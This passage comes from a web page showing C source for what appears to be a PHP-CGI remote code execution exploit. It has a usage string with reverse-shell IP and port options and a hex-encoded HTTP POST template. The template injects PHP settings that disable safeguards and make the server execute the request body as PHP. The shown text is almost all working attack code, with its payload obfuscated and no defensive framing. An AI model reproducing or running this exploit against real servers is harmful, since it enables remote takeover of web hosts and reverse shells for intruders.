&lt;--port port&gt; &lt;--protocol http|https&gt; " \</DIV>

<DIV class="line number75 index74 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;"&lt;--reverse-ip ip&gt; &lt;--reverse-port port&gt; [--force-interpreter interpreter]\n",</DIV>

<DIV class="line number76 index75 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;&nbsp;argv[0]);</DIV>

<DIV class="line number77 index76 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;&nbsp;exit(1);</DIV>

<DIV class="line number78 index77 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">}</DIV>

<DIV class="line number79 index78 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;</DIV>

<DIV class="line number80 index79 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">char poststr[] = "POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F" \</DIV>

<DIV class="line number81 index80 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64" \</DIV>

<DIV class="line number82 index81 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73" \</DIV>

<DIV class="line number83 index82 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E" \</DIV>

<DIV class="line number84 index83 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63" \</DIV>

<DIV class="line number85 index84 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62" \</DIV>

<DIV class="line number86 index85 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74" \</DIV>

<DIV class="line number87 index86 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68" \</DIV>

<DIV class="line number88 index87 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F" \</DIV>

<DIV class="line number89 index88 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63" \</DIV>

<DIV class="line number90 index89 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73" \</DIV>

<DIV class="line number91 index90 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1\r\n" \</DIV>

<DIV class="line number92 index91 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"Host: %s\r\n" \</DIV>

<DIV class="line number93 index92 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26" \</DIV>

<DIV class="line number94 index93 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\r\n" \</DIV>

<DIV class="line number95 index94 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"Content-Type: application/x-www-form-urlencoded\r\n" \</DIV>

<DIV class="line number96 index95 alt1" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"Content-Length: %d\r\n" \</DIV>

<DIV class="line number97 index96 alt2" style="BORDER-RIGHT: 0px; PADDING-RIGHT: 1em! important; BORDER-TOP: 0px; PADDING-LEFT: 1em! important; RIGHT: auto! important; LEFT: auto! important; FLOAT: none! important; BACKGROUND-IMAGE: none! important; PADDING-BOTTOM: 0px! important; MARGIN: 0px; WORD-SPACING: 0px; FONT: 14px/15px Consolas, 'Bitstream Vera Sans Mono', 'Courier New', Courier, monospace; VERTICAL-ALIGN: baseline! important; OVERFLOW: visible! important; TEXT-TRANSFORM: none; BORDER-LEFT: 0px; WIDTH: auto! important; COLOR: rgb(0,0,0); DIRECTION: ltr! important; BOTTOM: auto! important; TEXT-INDENT: 0px; PADDING-TOP: 0px! important; BORDER-BOTTOM: 0px; WHITE-SPACE: pre! important; LETTER-SPACING: normal; POSITION: static! important; TOP: auto! important; HEIGHT: auto! important; BACKGROUND-COLOR: white! important; TEXT-ALIGN: left; border-top-left-radius: 0px; border-top-right-radius: 0px; border-bottom-right-radius: 0px; border-bottom-left-radius: 0px; outline: 0px; box-sizing: content-box; orphans: 2; widows: 2; webkit-text-size-adjust: auto; webkit-text-stroke-width: 0px">&nbsp;"Connection: close\r\n\r\n%s";</DIV>

